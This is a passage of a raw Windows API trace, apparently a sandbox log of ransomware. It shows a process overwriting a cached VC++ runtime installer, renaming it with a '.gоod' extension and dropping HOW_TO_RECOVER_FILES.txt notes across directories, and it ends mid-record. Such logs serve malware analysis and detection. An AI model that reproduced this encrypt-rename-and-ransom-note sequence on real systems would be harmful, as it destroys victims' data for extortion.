lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x37f6ad0*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0096.938] CloseHandle (hObject=0x7b0) returned 1 [0096.938] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x88 [0096.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0096.938] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0096.938] GetFileType (hFile=0x7b0) returned 0x1 [0096.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0096.938] GetFileType (hFile=0x7b0) returned 0x1 [0096.938] ReadFile (in: hFile=0x7b0, lpBuffer=0x37f8e30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x37f8e30*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0096.967] CloseHandle (hObject=0x7b0) returned 1 [0096.967] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x88 [0096.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0096.967] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0096.968] GetFileType (hFile=0x7b0) returned 0x1 [0096.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0096.968] GetFileType (hFile=0x7b0) returned 0x1 [0096.968] WriteFile (in: hFile=0x7b0, lpBuffer=0x37f7ae8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x37f7ae8*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0096.968] CloseHandle (hObject=0x7b0) returned 1 [0096.968] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x88 [0096.968] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.gоod", lpFilePart=0x0) returned 0x8d [0096.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0096.968] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x36026cc7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010)) returned 1 [0096.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0096.968] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.gоod" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.gоod")) returned 1 [0096.969] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59c5f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x87 [0096.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cb10) returned 1 [0096.969] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0097.789] GetFileType (hFile=0x7dc) returned 0x1 [0097.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59ca80) returned 1 [0097.790] GetFileType (hFile=0x7dc) returned 0x1 [0098.611] WriteFile (in: hFile=0x7dc, lpBuffer=0x345de30*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59cbd8, lpOverlapped=0x0 | out: lpBuffer=0x345de30*, lpNumberOfBytesWritten=0x1f59cbd8*=0x5d0, lpOverlapped=0x0) returned 1 [0098.832] CloseHandle (hObject=0x7dc) returned 1 [0098.832] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0098.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0098.832] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0098.868] GetFileType (hFile=0x7dc) returned 0x1 [0098.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0098.868] GetFileType (hFile=0x7dc) returned 0x1 [0098.868] WriteFile (in: hFile=0x7dc, lpBuffer=0x3446220*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x3446220*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0098.870] CloseHandle (hObject=0x7dc) returned 1 [0098.870] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0098.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0098.870] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0098.871] GetFileType (hFile=0x7dc) returned 0x1 [0098.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0098.871] GetFileType (hFile=0x7dc) returned 0x1 [0098.871] WriteFile (in: hFile=0x7dc, lpBuffer=0x3449b08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3449b08*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0098.872] CloseHandle (hObject=0x7dc) returned 1 [0098.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0098.872] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpFilePart=0x0) returned 0x4f [0098.872] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0098.873] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.873] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.873] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.873] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0098.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0098.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0098.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0098.874] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpFilePart=0x0) returned 0x4f [0098.874] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0098.874] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.874] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.874] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.874] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0098.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0098.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0098.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0098.875] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages", lpFilePart=0x0) returned 0x58 [0098.875] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0098.875] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.875] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0098.875] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0098.875] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0098.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0098.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0098.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0098.876] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages", lpFilePart=0x0) returned 0x58 [0098.876] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0098.876] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.876] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0098.876] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.876] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0098.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0098.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0098.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0098.877] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x72 [0098.877] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0098.877] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.877] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe90b3300, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe90b3300, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe90b3300, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0098.877] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x11932d00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0098.877] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 